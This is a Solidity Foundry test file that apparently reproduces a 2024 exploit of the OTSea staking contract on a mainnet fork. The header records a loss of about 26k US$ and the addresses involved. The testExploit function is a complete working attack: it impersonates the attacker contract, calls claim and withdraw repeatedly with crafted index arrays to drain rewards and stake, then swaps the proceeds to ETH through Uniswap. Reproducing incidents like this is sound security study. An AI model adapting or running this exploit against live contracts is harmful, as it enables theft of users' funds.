src/test/2024-09/OTSeaStaking_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "../interface.sol";
6 
7/*
8// @KeyInfo - Total Lost : 26k US$
9// Attacker : 0x000000003704BC4ffb86000046721f44Ef3DBABe
10// Attack Contract : 0xd11eE5A6a9EbD9327360D7A82e40d2F8C314e985
11// Vulnerable Contract : 0xF2c8e860ca12Cde3F3195423eCf54427A4f30916
12// Attack Tx : 0x90b4fcf583444d44efb8625e6f253cfcb786d2f4eda7198bdab67a54108cd5f4
13 
14// @Info
15// Vulnerable Contract Code : https://etherscan.io/address/0xf2c8e860ca12cde3f3195423ecf54427a4f30916#code
16 
17// @Analysis
18*/
19 
20interface OTSeaRevenueDistributor {
21    function distribute() external;
22}
23 
24interface OTSeaStaking {
25    function withdraw(uint256[] calldata _indexes, address _receiver) external;
26    function claim(uint256[] calldata _indexes, address _receiver) external;
27}
28 
29interface IUniswapV2Router01 {
30    function WETH() external pure returns (address);
31}
32 
33interface IUniswapV2Router02 is IUniswapV2Router01 {
34    function swapExactTokensForETHSupportingFeeOnTransferTokens(
35        uint256 amountIn,
36        uint256 amountOutMin,
37        address[] calldata path,
38        address to,
39        uint256 deadline
40    ) external;
41}
42 
43contract ContractTest is Test {
44    uint256 internal blocknumToForkFrom = 20_738_191 - 1;
45    address internal otseaDist = 0x34BCcF4aF03870265Fe99cEc262524F343Cca7ff;
46    address internal attackContract = 0x5AeC8469414332d62Bf5058fb91F2f8457e5C5CB;
47    address internal otseaToken = 0x5dA151B95657e788076D04d56234Bd93e409CB09;
48    address internal uniswapRouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
49    address internal otseaStaking = 0xF2c8e860ca12Cde3F3195423eCf54427A4f30916;
50 
51    function setUp() public {
52        vm.createSelectFork("mainnet", blocknumToForkFrom);
53        vm.label(otseaDist, "OTSeaRevenueDistributor");
54        vm.label(attackContract, "Attacker");
55        vm.label(otseaToken, "OTSea: OTSea Token");
56        vm.label(uniswapRouter, "Uniswap V2: Router 2");
57        vm.label(otseaStaking, "OTSeaStaking");
58    }
59 
60    function testExploit() public {
61        OTSeaRevenueDistributor(otseaDist).distribute();
62        vm.startPrank(attackContract);
63        for (uint256 i = 0; i < 14; i++) {
64            uint256[] memory indexes = new uint256[](21);
65            for (uint256 j = 0; j < 20; j++) {
66                indexes[j] = j;
67            }
68            indexes[20] = 20 + i;
69 
70            OTSeaStaking(otseaStaking).claim(indexes, attackContract);
71            OTSeaStaking(otseaStaking).withdraw(indexes, attackContract);
72        }
73        for (uint256 i = 0; i < 10; i++) {
74            uint256[] memory indexes = new uint256[](2);
75            for (uint256 j = 0; j < 1; j++) {
76                indexes[j] = j;
77            }
78            indexes[1] = 34 + i;
79 
80            OTSeaStaking(otseaStaking).claim(indexes, attackContract);
81            OTSeaStaking(otseaStaking).withdraw(indexes, attackContract);
82        }
83        for (uint256 i = 0; i < 22; i++) {
84            uint256[] memory indexes = new uint256[](25);
85            for (uint256 j = 0; j < 23; j++) {
86                indexes[j] = j + 20;
87            }
88            indexes[23] = 70;
89            indexes[24] = 43 + i;
90 
91            OTSeaStaking(otseaStaking).claim(indexes, attackContract);
92            OTSeaStaking(otseaStaking).withdraw(indexes, attackContract);
93        }
94        address weth = IUniswapV2Router02(uniswapRouter).WETH();
95        IERC20(otseaToken).approve(uniswapRouter, 6_000_000_000_000_000_000_000_000);
96        address[] memory paths = new address[](2);
97        paths[0] = otseaToken;
98        paths[1] = weth;
99        IUniswapV2Router02(uniswapRouter).swapExactTokensForETHSupportingFeeOnTransferTokens(
100            6_000_000_000_000_000_000_000_000, 0, paths, attackContract, 1_726_188_611
101        );
102        vm.stopPrank();
103        uint256 balance = IERC20(otseaToken).balanceOf(attackContract);
104        console.log("Attacker earned:", balance);
105    }
106 
107    receive() external payable {}
108}